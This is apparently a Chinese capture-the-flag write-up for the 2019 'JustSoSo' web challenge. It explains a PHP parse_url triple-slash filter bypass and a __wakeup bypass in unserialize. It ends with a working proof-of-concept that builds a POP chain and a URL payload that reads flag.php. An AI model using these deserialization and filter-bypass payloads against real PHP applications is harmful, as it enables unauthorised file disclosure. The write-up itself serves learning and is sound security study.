2019国赛Web JustSoSo parse_url解析漏洞与序列化wakeup绕过学习 2019-07-08 07:16:27 Steven Xeldax ## 题目源码 index.php ``` <?php /** * Created by PhpStorm. * User: xcy_m * Date: 2019/7/8 * Time: 11:56 */ error_reporting(0); $file = $_GET["file"]; $payload = $_GET["payload"]; if(!isset($file)){ echo 'Missing parameter'.'<br>'; } if(preg_match("/flag/",$file)){ die('hack attacked!!!'); } @include($file); if(isset($payload)){ $url = parse_url($_SERVER['REQUEST_URI']); parse_str($url['query'],$query); foreach($query as $value){ if (preg_match("/flag/",$value)) { die('stop hacking!'); exit(); } } $payload = unserialize($payload); }else{ echo "Missing parameters"; } ``` hint.php ``` <?php /** * Created by PhpStorm. * User: xcy_m * Date: 2019/7/8 * Time: 11:56 */ class Handle { private $handle; //__destruct中被调用从而调用getFlag() public function __wakeup() { foreach (get_object_vars($this) as $k => $v) { //循环打印,赋值为空 $this->$k = null; } echo "Waking up\n"; } public function __construct($handle) { $this->handle = $handle; } public function __destruct() { $this->handle->getFlag(); //调用 Flag 类里面的getFlag方法 } } class Flag{ public $file; public $token; public $token_flag; function __construct($file){ $this->file = $file; $this->token_flag = $this->token = md5(rand(1,10000)); //一到一万产生的随机数经过md5加密 } public function getFlag(){ //被handle调用 $this->token_flag = md5(rand(1,10000)); if($this->token === $this->token_flag) //两者必须相等 { if(isset($this->file)){ echo @highlight_file($this->file,true); } } } } $echof = new Flag(); $Flag->file = "flag.php"; $echoflag = new Handle($echof); echo serialize($echoflag); ``` ## parse_url bug利用 该漏洞得利用需要要求php版本在5.4.7以前,但是实际测试得过程中发现并不是所有得5.4.7之前得版本都是能够使用得。目前在phpStudy里只有如下版本是能够测试使用得:  parse_url存在得问题归结如下: 1. parse_url认为//是绝对路径 ``` <?php $url = '//www.example.com/path?googleguy=googley'; // 在 5.4.7 之前这会输出路径 "//www.example.com/path" var_dump(parse_url($url)); ?> ``` host是www.example.com从而截断之前得内容 2. ///会被返回false ``` <?php $url=parse_url($_SERVER['REQUEST_URI']); var_dump($url); parse_str($url['query'],$query); var_dump($query); $key_word=array("select","from","for","like"); foreach($query as $key) { foreach($key_word as $value) { if(preg_match("/".$value."/",strtolower($key))) { die("Stop hacking by using SQL injection!"); } } } ?> ``` http://如果输入http://127.0.0.1///1.php?sql=select 的话就会成功绕过 Note: parse_url() 是专门用来解析 URL 而不是 URI 的。不过为遵从 PHP 向后兼容的需要有个例外,对 file:// 协议允许三个斜线(file:///...)。其它任何协议都不能这样。 ## Wakeup绕过 ### target source ``` <?php class ReadFile{ private $file = ''; public function __construct($file) { $this->file = $file; } function __destruct() { echo "destuct "; // TODO: Implement __destruct() method. $image = file_get_contents($this->file); // header('Content-Type:image/png'); echo $image; } function __wakeup() { echo "wakeup "; // TODO: Implement __wakeup() method. $this->file = 'code.png'; } } if(isset($_GET['filename'])){ $filename = $_GET['filename']; $filename = str_replace('flag','',$filename); unserialize($filename); echo 2; } else{ echo 1; return; } echo 1; ``` ### serialize test code ``` <?php /** * Created by PhpStorm. * User: xcy_m * Date: 2019/7/8 * Time: 13:52 */ class ReadFile{ public $file = ''; public function __construct($file) { $this->file = $file; } function __destruct() { // TODO: Implement __destruct() method. $image = file_get_contents($this->file); header('Content-Type:html/txt'); echo $image; } function __wakeup() { // TODO: Implement __wakeup() method. $this->file = 'code.png'; } } $read = new ReadFile('1.php'); echo serialize($read); ``` 在public的情况下测试,得到的是 ``` O:8:"ReadFile":1:{s:4:"file";s:5:"1.php";} ```  在private的情况下测试,得到的是 ``` O:8:"ReadFile":1:{s:14:" ReadFile file";s:5:"1.php";} ```  空格其实是\x00 由于在序列化的时候会调用wakeup所以我们永远无法改动file的内容,所以我们可以手动设置序列化的对象数目就可以使得php不去调用wakeup(php bug) payload: ``` http://localhost/wakeddd.php?filename=O:8:%22ReadFile%22:2:{s:14:%22%00ReadFile%00file%22;s:5:%22l.php%22;s:5:%221.php%22;} ```  ### 回到题目 1. 首先是构造pop链。 2. 绕过Handle里得wakeup 3. 绕过之前index.php里得parse url poc: ``` <?php class Handle{ private $handle; public function __construct($handle) { $this->handle = $handle; } public function __destruct(){ $this->handle->getFlag(); } } class Flag{ public $file; public $token; public $token_flag; function __construct($file){ $this->file = $file; $this->token = &$this->token_flag; } public function getFlag(){ if($this->token === $this->token_flag) { if(isset($this->file)){ echo @highlight_file($this->file,true); } } } } $flag = new Flag('flag.php'); $handle = new Handle($flag); echo urlencode(str_replace('O:6:"Handle":1', 'O:6:"Handle":10', serialize($handle))); ?> ``` 把生成的结果传入 http://127.0.0.1///index.php?file=hint.php&payload= 即可 